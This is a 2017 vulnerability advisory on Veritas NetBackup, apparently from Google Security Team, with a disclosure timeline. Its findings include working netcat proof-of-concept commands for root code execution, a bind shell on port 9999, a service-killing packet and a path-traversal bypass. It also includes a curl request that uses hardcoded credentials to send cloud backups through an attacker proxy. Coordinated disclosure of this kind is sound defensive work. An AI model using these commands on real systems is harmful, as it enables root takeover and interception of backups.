Veritas NetBackup DoS / Command Execution / Privilege Escalation / Traversal
Posted on 02 March 2017
Veritas NetBackup and NetBackup appliance - Multiple Vulnerabilities -------------------------------------------------------------------- Introduction ============ Multiple critical vulnerabilities were identified in Veritas NetBackup and NetBackup appliance. The vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive. Affected Software and Versions ============================== - Tested with Veritas NetBackup 6.5.6, 7.6.1.0 - No newer versions were tested - Veritas confirmed the affected versions to be: - NetBackup 7.7.2 and below - NetBackup Appliance 2.7.2 and below - NB-03, NB-07, NB-08 and NB-12 are also affecting the newest NetBackup 8.0 and NetBackup Appliance 3.0 release Note: According to Veritas, issues NB-03, NB-07, NB-08 and NB-12 have no fix available as of release of this report. The target date for patches that fix these issues is 29th September, 2017. See the following Advisory for more information: https://www.veritas.com/content/support/en_US/security/VTS17-003.html CVE === No CVEs have been assigned yet. Author ====== The vulnerabilities were discovered by Sven Blumenstein, Xiaoran Wang and Andrew Griffiths from Google Security Team. Vulnerability Overview ====================== 1. NB-01: CRITICAL: Privileged remote code execution via pbx_exchange 2. NB-02: CRITICAL: Local privilege escalation via bpcd 3. NB-03: MODERATE: Denial of Service affecting bpdbm 4. NB-04: CRITICAL: Privileged remote code execution via bprd 5. NB-05: CRITICAL: Path traversal in several applications 6. NB-06: HIGH: Arbitrary command execution via bpnbat 7. NB-07: CRITICAL: Hostname based security model 8. NB-08: HIGH: Local privilege escalation in pbx_exchange 9. NB-09: LOW: World writable log files 10. NB-10: HIGH: Netbackup processes run as privileged user 11. NB-11: CRITICAL: Auth bypass for Netbackup Cloud Storage Service 12. NB-12: CRITICAL: Unauthenticated CORBA interface exposing service APIs Vulnerability Details ===================== -------------------------------------------------------- NB-01: Privileged remote code execution via pbx_exchange -------------------------------------------------------- Severity: CRITICAL The pbx_exchange process allows remote privileged remote code execution by sending a special packet leveraging the C_REMOTE_EXECUTE (0x46) call. The following command executes a/usr/bin/ida on the Netbackup server 10.0.0.1: $ echo -ne "ack=1 extension=bprd 329199 70 localhost root 1337 /usr/openv/netbackup/bin/../../../../../../../usr/bin/id " | nc 10.0.0.1 1556 Strace output: [pid 18240] execve("/bin/sh", ["sh", "-c", "/usr/openv/netbackup/bin/../../../../../../../usr/bin/id"], [/* 21 vars */]) = 0 [pid 18240] execve("/usr/openv/netbackup/bin/../../../../../../../usr/bin/id", ["/usr/openv/netbackup/bin/../../../../../../../usr/bin/id"], [/* 21 vars */]) = 0 [pid 18240] write(1, "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 ", 101) = 101 By replacing the parameter alocalhosta the server can be instructed to execute the command on a Netbackup client. The following command executes a/usr/bin/ida on the Netbackup client 10.0.0.111: $ echo -ne "ack=1 extension=bprd 329199 70 10.0.0.111 root 1337 /usr/openv/netbackup/bin/../../../../../../../usr/bin/id " | nc 10.0.0.1 1556 Strace output: [pid 27150] execve("/bin/sh", ["sh", "-c", "/usr/openv/netbackup/bin/../../../../../../../usr/bin/id"], [/* 16 vars */]) = 0 strace: Process 27151 attached [pid 27151] execve("/usr/openv/netbackup/bin/../../../../../../../usr/bin/id", ["/usr/openv/netbackup/bin/../../../../../../../usr/bin/id"], [/* 16 vars */]) = 0 [pid 27151] write(1, "uid=0(root) gid=0(root) groups=0(root) ", 39) = 39 ------------------------------------------ NB-02: Local privilege escalation via bpcd ------------------------------------------ Severity: CRITICAL By sending a crafted packet to the bpcd daemon, it is possible to execute privileged commands. The following command starts a privileged netcat shell on port 9999: $ echo -ne "-437860936x00x00x00x31x00x00x00O/usr/openv/netbackup/bin/../../../../../../../usr/bin/nc foo -lp 9999 -e/bin/sh" | nc 127.0.0.1 13782 ^Z [3]+ Stopped [...] $ nc 127.0.0.1 9999 id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 ---------------------------------------- NB-03: Denial of Service affecting bpdbm ---------------------------------------- Severity: MODERATE By sending a crafted packet to the bpdbm process, it is possible to shutdown the process and disrupt the functionality of the Netbackup server application. The following command terminates the bpdbm process on the Netbackup server 10.0.0.1: $ echo -ne "1041669 99 " | nc 10.0.0.1 13721 Log file excerpt of the bpdbm process: 19:22:18.384 [25272] <4> dbm_terminate: termination begun...error code = 0 19:22:18.389 [25272] <4> db_error_add_to_file: bpdbm TERMINATED 19:22:18.389 [25272] <4> dbm_terminate: bpdbm TERMINATED ------------------------------------------------ NB-04: Privileged remote code execution via bprd ------------------------------------------------ Severity: CRITICAL The bprd process allows remote privileged remote code execution by sending a special packet leveraging the C_REMOTE_EXECUTE (0x46) call. The following command executes a/usr/bin/ida on the Netbackup server 10.0.0.1: $ echo -ne "329199 94 localhost root 1337 /usr/openv/netbackup/bin/../../../../../../../usr/bin/id foo " | nc 10.0.0.1 13720 Strace output: [pid 21161] execve("/usr/openv/netbackup/bin/../../../../../../../usr/bin/id", ["foo"], [/* 21 vars */]) = 0 [pid 21161] write(1, "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 ", 101) = 101 By replacing the parameter alocalhosta the server can be instructed to execute the command on a Netbackup client. The following command executes a/usr/bin/ida on the Netbackup client 10.0.0.111: $ echo -ne "329199 94 10.0.0.111 root 1337 /usr/openv/netbackup/bin/../../../../../../../usr/bin/id foo " | nc 10.0.0.1 13720 Strace output: [pid 27435] execve("/usr/openv/netbackup/bin/../../../../../../../usr/bin/id", ["foo"], [/* 16 vars */] <unfinished ...> [pid 27435] write(1, "uid=0(root) gid=0(root) groups=0(root) ", 39) = 39 --------------------------------------------- NB-05: Path traversal allows whitelist escape --------------------------------------------- Severity: CRITICAL Multiple Netbackup services that execute external commands check if the requested command exists in a whitelist of folders. The whitelist consists of the following list of directories: /usr/openv/volmgr/bin /usr/openv/bin /usr/openv/netbackup/bin/admincmd /usr/openv/netbackup/bin/private /usr/openv/netbackup/bin/support /usr/openv/netbackup/bin It was discovered that all tested processes are vulnerable to path traversal, as also shown in the previously written examples. An attacker can use the usual a../a pattern to bypass the whitelist check and execute arbitrary commands. The following string bypasses the validation and executes a/usr/bin/nca: /usr/openv/netbackup/bin/../../../../../../../usr/bin/nc foo -lp 9999 -e/bin/sh Note: A total of over 500 executables was discovered in the whitelisted directories. It is possible that some executables contain vulnerabilities that could be leveraged for arbitrary command execution without the need of path traversal. One example (bpnbat) is listed in this report. --------------------------------------------- NB-06: Arbitrary command execution via bpnbat --------------------------------------------- Severity: HIGH The executable bpnbat allows execution of any passed command. This can be combined with other vulnerabilities to allow arbitrary command execution. The following command executes a/usr/bin/ida: $ /usr/openv/netbackup/bin/bpnbat -Execute -cf /root /usr/bin/id Note: This is just an example and does not imply that this executable is the only one vulnerable to command injection. As a lot of Netbackup processes rely on the execution of commands in whitelisted directories, having the option to do arbitrary command execution could allow an attacker to execute any command, even if whitelisting checks are properly implemented. ------------------------------------ NB-07: Hostname based security model ------------------------------------ Severity: CRITICAL It was discovered that several services on the Netbackup service rely purely on hostname validation for authenticity. E.g. a client connecting to the vnetd daemon on a Netbackup server has to be known to the server by hostname. As the validating process goes through the operating systems DNS system to get the hostname for the connecting IP, this approach could be vulnerable to DNS spoofing. -------------------------------------------------------------------- NB-08: Local privilege escalation via race condition in pbx_exchange -------------------------------------------------------------------- Severity: HIGH It was discovered that during the startup of pbx_exchange, it creates,binds, and listens to sockets under a/tmpa for different components, such as a/tmp/PBXPIPEbprda, a/tmp/PBXPIPEnbarsa, etc. The sockets are created with 777 mode and later changed to 600 with achmod(socket_path, 600)a after alisten(socket)a is called. Components connect to these sockets to create a data transfer socket, which is then used by pbx_exchange to forward client sockets to those components. The initial listening sockets under /tmp are unlinked afterwards. Since the socket is created in a shared directory and with 777 permissions, an unprivileged process can connect to the sockets in a/tmp/PBXPIPE*a and impersonate the legitimate components. ---------------------------------- 9. NB-09: World writable log files ---------------------------------- Severity: LOW It was discovered that many log files under a/usr/openv/netbackup/logsa are world writable, if logging is enabled. Example: # ls -l /usr/openv/netbackup/logs/bpjobd/ total 26200 -rw-rw-rw-. 1 root root 1512752 Nov 10 23:59 log.111016 -rw-rw-rw-. 1 root root 4783063 Nov 11 23:59 log.111116 -rw-rw-rw-. 1 root root 1814107 Nov 12 09:39 log.111216 World writable logs cannot ensure the integrity of the log files, enabling an attacker to tamper with the logs. ----------------------------------------------------- 10. NB-10: Netbackup processes run as privileged user ----------------------------------------------------- Severity: HIGH All Netbackup processes run as privileged user aroota. This significantly eases an attackerto gain control over the targeted system through vulnerabilities discovered in Netbackup services. It also makes potential hardening of the Netbackup processes difficult. ---------------------------------------------------------- 11. NB-11: Auth bypass for Netbackup Cloud Storage Service ---------------------------------------------------------- Severity: CRITICAL Netbackup Client and Server installations run a service called anbcssca by default. This service listens on any interface, tcp/5637 and provides a HTTPS based webserver on this port. This webserver is providing a REST API that is used to control/configure the Netbackup Cloud Storage Service. The authentication for this webserver is done through the hardcoded username and password acsscuser:csscpwd`. Using these credentials it is possible to query and modify the Cloud Storage configuration. The following command disables SSL transport encryption for Cloud backups and configures an arbitrary proxy server a10.13.37.0a to the Cloud Storage Service for Amazon running on the Netbackup system 10.0.0.1. This would send all future backups unencrypted through the attacker controlled proxy server: $ curl -d "name=AMZ:USE_SSL,description=Use SSL encryption for control,type=string,value=NO,fixed=n;name=AMZ:PROXY_IP,description=Specify CURL proxy IP,type=string,value=10.13.37.0,fixed=n;" -X POST -u csscuser:csscpwd -k https://10.0.0.1:5637/config/CS_Amazon/amazon Reply: name=CS_RESPONSE,description=Success,type=int,value=0,fixed=n; The log file of `nbcssc` confirms the successful change of the configuration: 16/11/17 16:00:03 OST : libsts setupp() 16/11/17 16:00:03: CS_Amazon:amazon claimed by /usr/openv/lib/ost-plugins/libstspiamazonMT.so [...] 16/11/17 16:00:03 OST : amazon: AMZ:USE_SSL=NO 16/11/17 16:00:03 OST : amazon: AMZ:PROXY_IP=10.13.37.0 16/11/17 16:00:03 OST : amazon: Closing user pref file (/usr/openv/lib/ost-plugins/libstspiamazon.pref) Verification of the changed configuration file locally: # cat /usr/openv/lib/ost-plugins/libstspiamazon.pref AMZ:USE_SSL=NO AMZ:USE_SSL_RW=YES AMZ:WRITE_BUFFER_SIZE=10485760 AMZ:WRITE_BUFFER_NUM=1 AMZ:LOG_CURL=NO AMZ:READ_BUFFER_SIZE=0 AMZ:PROXY_TYPE=NONE AMZ:PROXY_IP=10.13.37.0 AMZ:PROXY_PORT=70000 AMZ:CURL_CONNECT_TIMEOUT=300 AMZ:CURL_TIMEOUT=900 ---------------------------------------------------------------- 12. NB-12: Unauthenticated CORBA interface exposing service APIs ---------------------------------------------------------------- Severity: CRITICAL Several components of the Netbackup installation communicate through CORBA & TAO (http://www.cs.wustl.edu/~schmidt/TAO.html). It was discovered that the CORBA endpoints of several services can be reached through the pbx_exchange service via tcp/1556. There is no authentication involved and pbx_exchange listens on any IP. The following example sends a `ping` command to the service `nbjm` on the Netbackup server 10.0.0.1 and shows the successful GIOP reply packet: # echo -ne 'extension=nbjmx0ax0aGIOPx01x02x01x00dx00x00x00x05x00x00x00x03x00x00x00x00x00x01x00%x00x00x00x14x01x0fx00NUPx00x00x00x0ex00x00x00x00x01x00x00x00x00nbjmx00x01x00x00x00x01x00x00x00nbjmbjmx05x00x00x00pingx00nbjx01x00x00x00x01x00x00x00x0cx00x00x00x017ix9bx01x00x01x05 x01x01x00x00x00x00x00xffxffxffxff' | nc 10.0.0.1 1556 | xxd 0000000: 0147 494f 5001 0201 0110 0000 0005 0000 .GIOP........... 0000010: 0000 0000 0000 0000 0000 0000 00 ............. Brief checking on some of the CORBA endpoint showed that there are API functions for accessing configuration settings (e.g. `updateDiskVolumeList`) or executing commands (e.g. `runBPCRClientCmd`). Mitigation ========== Please see the advisory for these issues provided by Veritas for guidance around mitigation: https://www.veritas.com/content/support/en_US/security/VTS17-003.html Timeline ======== 2016/11/29 - Security report sent to secure@veritas.com with 90 day disclosure deadline 2016/12/02 - Veritas confirmed recipe of report 2016/12/13 to 2017/02/03 - Several emails between Google Security and Veritas regarding verification / details on issues 2017/02/03 - Veritas asks for deadline extension until 2017/10/01, as of 4 unpatched issues 2017/02/03 - Google Security points to Googles 90-day public disclosure policy and rejects deadline extension. 2017/02/27 - Google Security asks Veritas for information around mitigation that can be added to this advisory. 2017/02/27 - Veritas shares link to public advisory that includes mitigation advises for customers ( https://www.veritas.com/content/support/en_US/security/VTS17-003.html) 2017/02/28 - Public disclosure
